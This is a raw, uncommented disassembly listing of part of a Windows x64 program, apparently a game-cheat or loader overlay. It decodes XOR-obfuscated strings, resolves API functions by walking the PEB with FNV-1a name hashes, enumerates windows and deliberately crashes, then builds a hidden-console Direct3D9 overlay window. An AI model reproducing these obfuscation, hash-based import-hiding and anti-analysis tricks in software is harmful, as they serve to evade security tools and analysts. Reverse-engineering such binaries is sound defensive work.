mov eax, dword [0x1401eb860]
mov dword [rbp + 8], eax
movzx eax, word [0x1401eb864]
mov word [rbp + 0xc], ax
cmp byte [0x1401eb865], 0
je 0x140119953
mov byte [rbp], 0x44
xor byte [rbp + 1], 0x37
xor byte [rbp + 2], 0x38
xor byte [rbp + 3], 0x39
xor byte [rbp + 4], 0x3a
xor byte [rbp + 5], 0x3b
xor byte [rbp + 6], 0x3c
xor byte [rbp + 7], 0x3d
xor byte [rbp + 8], 0x3e
xor byte [rbp + 9], 0x3f
xor byte [rbp + 0xa], 0x40
xor byte [rbp + 0xb], 0x41
xor byte [rbp + 0xc], 0x42
xor byte [rbp + 0xd], 0x43
lea rdx, [rbp]
lea rcx, [rbp + 0xa60]
call fcn.14009b6b0
mov rdx, rax
lea rcx, [0x140318b10]
call fcn.140171c90
call fcn.140084d80
call fcn.140084d80
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov ebx, dword [rcx + r10 + 0x88]
add rbx, r10
cmp rbx, r10
je 0x140119a04
mov r9d, dword [rbx + 0x18]
test r9d, r9d
je 0x140119a04
mov r11d, dword [rbx + 0x20]
nop word [rax + rax]
dec r9d
lea rdx, [r10 + r9*4]
mov r8d, dword [rdx + r11]
add r8, r10
mov edx, 0x811c9dc5
movzx ecx, byte [r8]
inc r8
test cl, cl
je 0x1401199ff
nop
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
movzx ecx, byte [r8]
lea r8, [r8 + 1]
test cl, cl
jne 0x1401199e0
cmp edx, 0xcded1a85
je 0x140119a09
test r9d, r9d
jne 0x1401199c0
mov rax, qword [rax]
jmp 0x140119990
mov edx, dword [rbx + 0x1c]
add rdx, r10
mov ecx, dword [rbx + 0x24]
add rcx, r10
movzx ecx, word [rcx + r9*2]
mov eax, dword [rdx + rcx*4]
add rax, r10
xor ecx, ecx
call rax
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov ebx, dword [rcx + r10 + 0x88]
add rbx, r10
cmp rbx, r10
je 0x140119ab4
mov r9d, dword [rbx + 0x18]
test r9d, r9d
je 0x140119ab4
mov r11d, dword [rbx + 0x20]
nop word [rax + rax]
dec r9d
lea rdx, [r10 + r9*4]
mov r8d, dword [rdx + r11]
add r8, r10
mov edx, 0x811c9dc5
movzx ecx, byte [r8]
inc r8
test cl, cl
je 0x140119aaf
nop
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
movzx ecx, byte [r8]
lea r8, [r8 + 1]
test cl, cl
jne 0x140119a90
cmp edx, 0xe80fd3a
je 0x140119ab9
test r9d, r9d
jne 0x140119a70
mov rax, qword [rax]
jmp 0x140119a40
mov edx, dword [rbx + 0x1c]
add rdx, r10
mov ecx, dword [rbx + 0x24]
add rcx, r10
movzx ecx, word [rcx + r9*2]
mov eax, dword [rdx + rcx*4]
add rax, r10
xor ecx, ecx
call rax
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov ebx, dword [rcx + r10 + 0x88]
add rbx, r10
cmp rbx, r10
je 0x140119b64
mov r9d, dword [rbx + 0x18]
test r9d, r9d
je 0x140119b64
mov r11d, dword [rbx + 0x20]
nop word [rax + rax]
dec r9d
lea rdx, [r11 + r9*4]
mov r8d, dword [rdx + r10]
add r8, r10
mov edx, 0x811c9dc5
movzx ecx, byte [r8]
inc r8
test cl, cl
je 0x140119b5f
nop
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
movzx ecx, byte [r8]
lea r8, [r8 + 1]
test cl, cl
jne 0x140119b40
cmp edx, 0xa52bcaf9
je 0x140119b69
test r9d, r9d
jne 0x140119b20
mov rax, qword [rax]
jmp 0x140119af0
mov edx, dword [rbx + 0x1c]
add rdx, r10
mov ecx, dword [rbx + 0x24]
add rcx, r10
movzx ecx, word [rcx + r9*2]
mov eax, dword [rdx + rcx*4]
add rax, r10
call rax
mov dword [0], 0xdead
xor edx, edx
lea rcx, [0x1400ee8a0]
call qword [sym.imp.USER32.dll_EnumWindows]
call fcn.1400f0ae0
test al, al
je 0x140119e4d
vmovsd xmm0, qword [0x1401eb868]
vmovsd qword [rbp + 0x10], xmm0
mov eax, dword [0x1401eb870]
mov dword [rbp + 0x18], eax
movzx eax, word [0x1401eb874]
mov word [rbp + 0x1c], ax
cmp byte [0x1401eb875], 0
je 0x140119c0b
mov byte [rbp + 0x10], 0x44
xor byte [rbp + 0x11], 0x37
xor byte [rbp + 0x12], 0x38
xor byte [rbp + 0x13], 0x39
xor byte [rbp + 0x14], 0x3a
xor byte [rbp + 0x15], 0x3b
xor byte [rbp + 0x16], 0x3c
xor byte [rbp + 0x17], 0x3d
xor byte [rbp + 0x18], 0x3e
xor byte [rbp + 0x19], 0x3f
xor byte [rbp + 0x1a], 0x40
xor byte [rbp + 0x1b], 0x41
xor byte [rbp + 0x1c], 0x42
xor byte [rbp + 0x1d], 0x43
lea rdx, [rbp + 0x10]
lea rcx, [rbp + 0xa80]
call fcn.14009b6b0
mov rdx, rax
lea rcx, [0x140318b10]
call fcn.140171c90
call fcn.140084d80
call fcn.140084d80
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov ebx, dword [rcx + r10 + 0x88]
add rbx, r10
cmp rbx, r10
je 0x140119cc4
mov r9d, dword [rbx + 0x18]
test r9d, r9d
je 0x140119cc4
mov r11d, dword [rbx + 0x20]
nop word [rax + rax]
dec r9d
lea rdx, [r11 + r9*4]
mov r8d, dword [rdx + r10]
add r8, r10
mov edx, 0x811c9dc5
movzx ecx, byte [r8]
inc r8
test cl, cl
je 0x140119cbf
nop
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
movzx ecx, byte [r8]
lea r8, [r8 + 1]
test cl, cl
jne 0x140119ca0
cmp edx, 0xcded1a85
je 0x140119cc9
test r9d, r9d
jne 0x140119c80
mov rax, qword [rax]
jmp 0x140119c50
mov edx, dword [rbx + 0x1c]
add rdx, r10
mov ecx, dword [rbx + 0x24]
add rcx, r10
movzx ecx, word [rcx + r9*2]
mov eax, dword [rdx + rcx*4]
add rax, r10
xor ecx, ecx
call rax
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov ebx, dword [rcx + r10 + 0x88]
add rbx, r10
cmp rbx, r10
je 0x140119d74
mov r9d, dword [rbx + 0x18]
test r9d, r9d
je 0x140119d74
mov r11d, dword [rbx + 0x20]
nop word [rax + rax]
dec r9d
lea rdx, [r11 + r9*4]
mov r8d, dword [rdx + r10]
add r8, r10
mov edx, 0x811c9dc5
movzx ecx, byte [r8]
inc r8
test cl, cl
je 0x140119d6f
nop
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
movzx ecx, byte [r8]
lea r8, [r8 + 1]
test cl, cl
jne 0x140119d50
cmp edx, 0xe80fd3a
je 0x140119d79
test r9d, r9d
jne 0x140119d30
mov rax, qword [rax]
jmp 0x140119d00
mov edx, dword [rbx + 0x1c]
add rdx, r10
mov ecx, dword [rbx + 0x24]
add rcx, r10
movzx ecx, word [rcx + r9*2]
mov eax, dword [rdx + rcx*4]
add rax, r10
xor ecx, ecx
call rax
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov ebx, dword [rcx + r10 + 0x88]
add rbx, r10
cmp rbx, r10
je 0x140119e24
mov r9d, dword [rbx + 0x18]
test r9d, r9d
je 0x140119e24
mov r11d, dword [rbx + 0x20]
nop word [rax + rax]
dec r9d
lea rdx, [r11 + r9*4]
mov r8d, dword [rdx + r10]
add r8, r10
mov edx, 0x811c9dc5
movzx ecx, byte [r8]
inc r8
test cl, cl
je 0x140119e1f
nop
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
movzx ecx, byte [r8]
lea r8, [r8 + 1]
test cl, cl
jne 0x140119e00
cmp edx, 0xa52bcaf9
je 0x140119e29
test r9d, r9d
jne 0x140119de0
mov rax, qword [rax]
jmp 0x140119db0
mov edx, dword [rbx + 0x1c]
add rdx, r10
mov ecx, dword [rbx + 0x24]
add rcx, r10
movzx ecx, word [rcx + r9*2]
mov eax, dword [rdx + rcx*4]
add rax, r10
call rax
mov dword [0], 0xdead
lea rdx, [0x1400ee870]
lea rcx, [rbp + 0x5b0]
call fcn.1400e73d0
mov rbx, rax
cmp dword [rax + 8], 0
je 0x14011a69e
vmovups xmm0, xmmword [rax]
vmovups xmmword [rsp + 0x70], xmm0
lea rcx, [rsp + 0x70]
call sub.MSVCP140.dll__Thrd_detach
test eax, eax
jne 0x14011a69e
vpxor xmm0, xmm0, xmm0
vmovups xmmword [rbx], xmm0
cmp dword [rbp + 0x5b8], eax
je 0x140119ea0
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_terminate]
int3
mov eax, dword [0x1401eb878]
mov dword [rsp + 0x60], eax
movzx eax, word [0x1401eb87c]
mov word [rsp + 0x64], ax
mov byte [rsp + 0x60], reloc.WLDAP32.dll_Ordinal_46
xor byte [rsp + 0x61], 0x37
xor byte [rsp + 0x62], 0x38
xor byte [rsp + 0x63], 0x39
xor al, 0x3a
mov byte [rsp + 0x64], al
xor byte [rsp + 0x65], 0x3b
xor edx, edx
lea rcx, [rsp + 0x60]
call fcn.1400f0b20
test al, al
je 0x14011a17d
vmovsd xmm0, qword [str.rRZL_eIJZ_16C]
vmovsd qword [rbp + 0x20], xmm0
mov eax, dword [0x1401eb888]
mov dword [rbp + 0x28], eax
movzx eax, word [0x1401eb88c]
mov word [rbp + 0x2c], ax
cmp byte [0x1401eb88d], 0
je 0x140119f4b
mov byte [rbp + 0x20], 0x44
xor byte [rbp + 0x21], 0x37
xor byte [rbp + 0x22], 0x38
xor byte [rbp + 0x23], 0x39
xor byte [rbp + 0x24], 0x3a
xor byte [rbp + 0x25], 0x3b
xor byte [rbp + 0x26], 0x3c
xor byte [rbp + 0x27], 0x3d
xor byte [rbp + 0x28], 0x3e
xor byte [rbp + 0x29], 0x3f
xor byte [rbp + 0x2a], 0x40
xor byte [rbp + 0x2b], 0x41
xor byte [rbp + 0x2c], 0x42
xor byte [rbp + 0x2d], 0x43
lea rdx, [rbp + 0x20]
lea rcx, [rbp + 0xaa0]
call fcn.14009b6b0
mov rdx, rax
lea rcx, [0x140318b10]
call fcn.140171c90
call fcn.140084d80
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov ebx, dword [rcx + r10 + 0x88]
add rbx, r10
cmp rbx, r10
je 0x140119ff4
mov r9d, dword [rbx + 0x18]
test r9d, r9d
je 0x140119ff4
mov r11d, dword [rbx + 0x20]
nop word [rax + rax]
dec r9d
lea rdx, [r11 + r9*4]
mov r8d, dword [rdx + r10]
add r8, r10
mov edx, 0x811c9dc5
movzx ecx, byte [r8]
inc r8
test cl, cl
je 0x140119fef
nop
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
movzx ecx, byte [r8]
lea r8, [r8 + 1]
test cl, cl
jne 0x140119fd0
cmp edx, 0xcded1a85
je 0x140119ff9
test r9d, r9d
jne 0x140119fb0
mov rax, qword [rax]
jmp 0x140119f80
mov edx, dword [rbx + 0x1c]
add rdx, r10
mov ecx, dword [rbx + 0x24]
add rcx, r10
movzx ecx, word [rcx + r9*2]
mov eax, dword [rdx + rcx*4]
add rax, r10
xor ecx, ecx
call rax
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov ebx, dword [rcx + r10 + 0x88]
add rbx, r10
cmp rbx, r10
je 0x14011a0a4
mov r9d, dword [rbx + 0x18]
test r9d, r9d
je 0x14011a0a4
mov r11d, dword [rbx + 0x20]
nop word [rax + rax]
dec r9d
lea rdx, [r11 + r9*4]
mov r8d, dword [rdx + r10]
add r8, r10
mov edx, 0x811c9dc5
movzx ecx, byte [r8]
inc r8
test cl, cl
je 0x14011a09f
nop
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
movzx ecx, byte [r8]
lea r8, [r8 + 1]
test cl, cl
jne 0x14011a080
cmp edx, 0xe80fd3a
je 0x14011a0a9
test r9d, r9d
jne 0x14011a060
mov rax, qword [rax]
jmp 0x14011a030
mov edx, dword [rbx + 0x1c]
add rdx, r10
mov ecx, dword [rbx + 0x24]
add rcx, r10
movzx ecx, word [rcx + r9*2]
mov eax, dword [rdx + rcx*4]
add rax, r10
xor ecx, ecx
call rax
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov ebx, dword [rcx + r10 + 0x88]
add rbx, r10
cmp rbx, r10
je 0x14011a154
mov r9d, dword [rbx + 0x18]
test r9d, r9d
je 0x14011a154
mov r11d, dword [rbx + 0x20]
nop word [rax + rax]
dec r9d
lea rdx, [r11 + r9*4]
mov r8d, dword [rdx + r10]
add r8, r10
mov edx, 0x811c9dc5
movzx ecx, byte [r8]
inc r8
test cl, cl
je 0x14011a14f
nop
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
movzx ecx, byte [r8]
lea r8, [r8 + 1]
test cl, cl
jne 0x14011a130
cmp edx, 0xa52bcaf9
je 0x14011a159
test r9d, r9d
jne 0x14011a110
mov rax, qword [rax]
jmp 0x14011a0e0
mov edx, dword [rbx + 0x1c]
add rdx, r10
mov ecx, dword [rbx + 0x24]
add rcx, r10
movzx ecx, word [rcx + r9*2]
mov eax, dword [rdx + rcx*4]
add rax, r10
call rax
mov dword [0], 0xdead
xor edx, edx
lea rcx, [0x1400ee8a0]
call qword [sym.imp.USER32.dll_EnumWindows]
mov dword [rbp + 0x1120], 0x50
mov dword [rbp + 0x1124], 0x40
lea rax, [0x140101e90]
mov qword [rbp + 0x1128], rax
mov qword [rbp + 0x1130], r12
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov qword [rbp + 0x1138], rax
vpxor xmm0, xmm0, xmm0
vmovdqu xmmword [rbp + 0x1140], xmm0
vpxor xmm1, xmm1, xmm1
vmovdqu xmmword [rbp + 0x1150], xmm1
lea rbx, [0x1401eb8a0]
mov qword [rbp + 0x1160], rbx
mov qword [rbp + 0x1168], r12
lea rcx, [rbp + 0x1120]
call qword [sym.imp.USER32.dll_RegisterClassExW]
mov qword [rsp + 0x58], r12
mov rax, qword [rbp + 0x1138]
mov qword [rsp + 0x50], rax
mov qword [rsp + 0x48], r12
mov qword [rsp + 0x40], r12
mov dword [rsp + 0x38], 1
mov dword [rsp + 0x30], 1
mov dword [rsp + 0x28], r12d
mov dword [rsp + 0x20], r12d
mov r9d, 0x80000000
mov r8, rbx
mov rdx, qword [rbp + 0x1160]
xor ecx, ecx
call qword [sym.imp.USER32.dll_CreateWindowExW]
mov rdi, rax
mov ecx, reloc.WLDAP32.dll_Ordinal_32
call sub.d3d9.dll_Direct3DCreate9
mov rcx, rax
mov qword [0x140318b08], rax
test rax, rax
je 0x14011a651
mov qword [0x140319210], r12
mov qword [0x14031921c], r12
mov dword [0x140319224], r12d
mov qword [0x14031922c], r12
mov dword [0x140319234], r12d
mov qword [0x140319244], r12
mov dword [0x140319238], 1
mov dword [0x140319228], 1
mov dword [0x140319218], r12d
mov dword [0x14031923c], 1
mov dword [0x140319240], 0x50
mov dword [0x14031924c], 1
mov rax, qword [rax]
mov r10, qword [rax + 0x80]
lea rax, [0x140319098]
mov qword [rsp + 0x30], rax
lea rax, [0x140319210]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 0x40
mov r9, rdi
xor edx, edx
lea r8d, [rdx + 1]
call r10
test eax, eax
js 0x14011a651
call qword [sym.imp.KERNEL32.dll_AllocConsole]
xor edx, edx
lea rcx, str.ConsoleWindowClass
call qword [sym.imp.USER32.dll_FindWindowA]
mov rcx, rax
xor edx, edx
call qword [sym.imp.USER32.dll_ShowWindow]
xor edx, edx
mov rcx, rdi
call qword [sym.imp.USER32.dll_ShowWindow]
mov rcx, rdi
call qword [sym.imp.USER32.dll_UpdateWindow]
xor ecx, ecx
call fcn.1400aab00
call fcn.1400b5500
mov rbx, rax
mov qword [rax + 0x18], r12
or dword [rax], 0x400
call fcn.1400b5ab0
test dword [rbx], 0x400
je 0x14011a374
mov dword [rax + 0xc], r12d
mov dword [rax + 0xf0], 0x3f800000
lea rcx, [rbp + 0x1170]
call fcn.1400c6db0
mov byte [rbp + 0x11b8], 1
mov byte [rbp + 0x1190], 1
mov dword [rbp + 0x1188], 3
mov dword [rbp + 0x118c], 3
mov qword [rsp + 0x20], r12
xor r9d, r9d
vmovss xmm2, dword [0x1401e5c68]
lea rdx, str.C:WindowsFonts_taileb.ttf
mov rcx, qword [rbx + 0xa0]
call fcn.1400c7b60
mov qword [rsp + 0x20], r12
xor r9d, r9d
vmovss xmm2, dword [0x1401e2150]
lea rdx, str.C:WindowsFontsmicross.ttf
mov rcx, qword [rbx + 0xa0]
call fcn.1400c7b60
mov qword [0x1403192b0], rax
mov qword [rsp + 0x20], r12
xor r9d, r9d
vmovss xmm2, dword [0x1401ec9f0]
lea rdx, str.C:WindowsFonts_taileb.ttf
mov rcx, qword [rbx + 0xa0]
call fcn.1400c7b60
mov qword [0x1403192b0], rax
xor ecx, ecx
call fcn.1400cfa50
mov rcx, rdi
call fcn.1400d9460
mov rcx, qword [0x140319098]
call fcn.1400d7ff0
call fcn.1400b5ab0
mov rbx, rax
mov qword [rax + 0x48], r12
mov qword [rax + 4], r12
mov dword [rax + 0x38], 0x40600000
mov qword [rax + 0x3c], 0x40600000
mov dword [rax + 0x10], 0x3f800000
mov dword [rax + 0x7c], 0x3f800000
mov dword [rax + 0x78], r12d
mov dword [rsp + 0x20], 0xff
mov edx, reloc.WS2_32.dll_select
mov r9d, edx
mov r8d, edx
lea rcx, [rbp + 0x5c0]
call fcn.1400ea440
vmovups xmm0, xmmword [rax]
vmovups xmmword [rbx + 0xe4], xmm0
mov dword [rsp + 0x20], 0xff
xor r9d, r9d
xor r8d, r8d
mov edx, 0xff
lea rcx, [rbp + 0x5d0]
call fcn.1400ea440
vmovups xmm0, xmmword [rax]
vmovups xmmword [rbx + 0x1e4], xmm0
mov dword [rsp + 0x20], 0xff
mov edx, reloc.WS2_32.dll_select
mov r9d, edx
mov r8d, edx
lea rcx, [rbp + 0x5e0]
call fcn.1400ea440
vmovups xmm0, xmmword [rax]
vmovups xmmword [rbx + 0x134], xmm0
mov dword [rsp + 0x20], 0xff
mov edx, reloc.WS2_32.dll_select
mov r9d, edx
mov r8d, edx
lea rcx, [rbp + 0x5f0]
call fcn.1400ea440
vmovups xmm0, xmmword [rax]
vmovups xmmword [rbx + 0x154], xmm0
mov dword [rsp + 0x20], 0xff
mov edx, reloc.WS2_32.dll_select
mov r9d, edx
mov r8d, edx
lea rcx, [rbp + 0x600]
call fcn.1400ea440
vmovups xmm0, xmmword [rax]
vmovups xmmword [rbx + 0x144], xmm0
mov dword [rbx + 0x44], 0x3d4ccccd
mov dword [rsp + 0x20], 0xff
mov edx, reloc.WS2_32.dll_setsockopt
mov r9d, edx
mov r8d, edx
lea rcx, [rbp + 0x610]
call fcn.1400ea440
vmovups xmm0, xmmword [rax]
vmovups xmmword [rbx + 0xf4], xmm0
mov dword [rsp + 0x20], 0xff
xor r9d, r9d
xor r8d, r8d
xor edx, edx
lea rcx, [rbp + 0x620]
call fcn.1400ea440
vmovups xmm0, xmmword [rax]
vmovups xmmword [rbx + 0x114], xmm0
mov dword [rsp + 0x20], 0xff
mov edx, reloc.WLDAP32.dll_Ordinal_33
mov r9d, edx
mov r8d, edx
lea rcx, [rbp + 0x630]
call fcn.1400ea440
vmovups xmm0, xmmword [rax]
vmovups xmmword [rbx + 0x214], xmm0
mov dword [rsp + 0x20], 0x64
xor r9d, r9d
xor r8d, r8d
mov edx, 0xff
lea rcx, [rbp + 0x640]
call fcn.1400ea440
vmovups xmm0, xmmword [rax]
vmovups xmmword [rbx + 0x234], xmm0
mov dword [rsp + 0x20], 0xff
mov edx, reloc.WLDAP32.dll_Ordinal_33
mov r9d, edx
mov r8d, edx
lea rcx, [rbp + 0x650]
call fcn.1400ea440
vmovups xmm0, xmmword [rax]
vmovups xmmword [rbx + 0x224], xmm0
call fcn.1400fded0
call fcn.1400d8e70
call fcn.1400d9da0
xor ecx, ecx
call fcn.1400aaf90
call fcn.1400ee6d0
mov rcx, rdi
call qword [sym.imp.USER32.dll_DestroyWindow]
mov rdx, qword [rbp + 0x1138]
mov rcx, qword [rbp + 0x1160]
call qword [sym.imp.USER32.dll_UnregisterClassW]
jmp 0x14011a670
call fcn.1400ee6d0
mov rdx, qword [rbp + 0x1138]
mov rcx, qword [rbp + 0x1160]
call qword [sym.imp.USER32.dll_UnregisterClassW]
mov r12d, 1
cmp dword [rbp + 0x5a8], 0
je 0x14011a680
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_terminate]
int3
mov eax, r12d
mov rbx, qword [rsp + 0xbbb0]
add rsp, 0xbb70
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret
mov ecx, 1
call sub.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_
nop
mov dword [rbp + 0x5a8], r12d
mov ecx, 6
call sub.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_
int3